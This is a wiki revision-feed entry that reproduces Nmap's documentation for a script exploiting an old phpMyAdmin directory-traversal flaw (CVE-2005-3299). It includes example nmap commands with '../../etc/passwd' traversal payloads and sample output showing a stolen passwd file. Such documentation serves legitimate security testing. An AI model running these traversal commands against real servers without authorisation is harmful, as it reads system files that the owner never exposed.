https://lms.onnocenter.or.id/wiki/index.php?action=history&feed=atom&title=Nmap%3A_phpmyadmin_dir_travesal 2026-04-20T09:05:02Z Revision history for this page on the wiki MediaWiki 1.45.1 https://lms.onnocenter.or.id/wiki/index.php?title=Nmap:_phpmyadmin_dir_travesal&diff=45639&oldid=prev 2016-02-14T13:36:31Z

<p>New page: Sumber: https://nmap.org/nsedoc/scripts/http-phpmyadmin-dir-traversal.html ==File http-phpmyadmin-dir-traversal== Script types: portrule Categories: vuln, exploit Download: http://n...</p> <p><b>New page</b></p><div>Sumber: https://nmap.org/nsedoc/scripts/http-phpmyadmin-dir-traversal.html<br /> <br /> <br /> <br /> ==File http-phpmyadmin-dir-traversal==<br /> <br /> Script types: portrule<br /> Categories: vuln, exploit<br /> Download: http://nmap.org/svn/scripts/http-phpmyadmin-dir-traversal.nse<br /> <br /> ==User Summary==<br /> <br /> Exploits a directory traversal vulnerability in phpMyAdmin 2.6.4-pl1 (and possibly other versions) to retrieve remote files on the web server.<br /> <br /> ==Reference:==<br /> <br /> http://www.exploit-db.com/exploits/1244/<br /> <br /> Script Arguments<br /> <br /> http-phpmyadmin-dir-traversal.dir<br /> <br /> Basepath to the services page. Default: /phpMyAdmin-2.6.4-pl1/<br /> http-phpmyadmin-dir-traversal.file<br /> <br /> Remote file to retrieve. Default: ../../../../../etc/passwd<br /> http-phpmyadmin-dir-traversal.outfile<br /> <br /> Output file<br /> slaxml.debug<br /> See the documentation for the slaxml library.<br /> http.max-cache-size, http.max-pipeline, http.pipeline, http.useragent<br /> See the documentation for the http library.<br /> smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername<br /> See the documentation for the smbauth library.<br /> vulns.showall<br /> See the documentation for the vulns library.<br /> <br /> ==Example Usage==<br /> <br /> nmap -p80 --script http-phpmyadmin-dir-traversal --script-args=&quot;dir=&#039;/pma/&#039;,file=&#039;../../../../../../../../etc/passwd&#039;,outfile=&#039;passwd.txt&#039;&quot; &lt;host/ip&gt;<br /> nmap -p80 --script http-phpmyadmin-dir-traversal &lt;host/ip&gt;<br /> <br /> ==Script Output==<br /> <br /> PORT STATE SERVICE<br /> 80/tcp open http<br /> | http-phpmyadmin-dir-traversal:<br /> | VULNERABLE:<br /> | phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion<br /> | State: VULNERABLE (Exploitable)<br /> | IDs: CVE:CVE-2005-3299<br /> | Description:<br /> | PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.<br /> |<br /> | Disclosure date: 2005-10-nil<br /> | Extra information:<br /> | ../../../../../../../../etc/passwd :<br /> | root:x:0:0:root:/root:/bin/bash<br /> | daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br /> | bin:x:2:2:bin:/bin:/bin/sh<br /> | sys:x:3:3:sys:/dev:/bin/sh<br /> | sync:x:4:65534:sync:/bin:/bin/sync<br /> | games:x:5:60:games:/usr/games:/bin/sh<br /> | man:x:6:12:man:/var/cache/man:/bin/sh<br /> | lp:x:7:7:lp:/var/spool/lpd:/bin/sh<br /> | mail:x:8:8:mail:/var/mail:/bin/sh<br /> | news:x:9:9:news:/var/spool/news:/bin/sh<br /> | uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh<br /> | proxy:x:13:13:proxy:/bin:/bin/sh<br /> | www-data:x:33:33:www-data:/var/www:/bin/sh<br /> | backup:x:34:34:backup:/var/backups:/bin/sh<br /> | list:x:38:38:Mailing List Manager:/var/list:/bin/sh<br /> | irc:x:39:39:ircd:/var/run/ircd:/bin/sh<br /> | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh<br /> | nobody:x:65534:65534:nobody:/nonexistent:/bin/sh<br /> | libuuid:x:100:101::/var/lib/libuuid:/bin/sh<br /> | syslog:x:101:103::/home/syslog:/bin/false<br /> | sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin<br /> | dps:x:1000:1000:dps,,,:/home/dps:/bin/bash<br /> | vboxadd:x:999:1::/var/run/vboxadd:/bin/false<br /> | mysql:x:103:110:MySQL Server,,,:/nonexistent:/bin/false<br /> | memcache:x:104:112:Memcached,,,:/nonexistent:/bin/false<br /> | ../../../../../../../../etc/passwd saved to passwd.txt<br /> |<br /> | References:<br /> | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299<br /> |_ http://www.exploit-db.com/exploits/1244/<br /> <br /> <br /> <br /> ==Referensi==<br /> <br /> * https://nmap.org/nsedoc/scripts/http-phpmyadmin-dir-traversal.html</div>

Onnowpurbo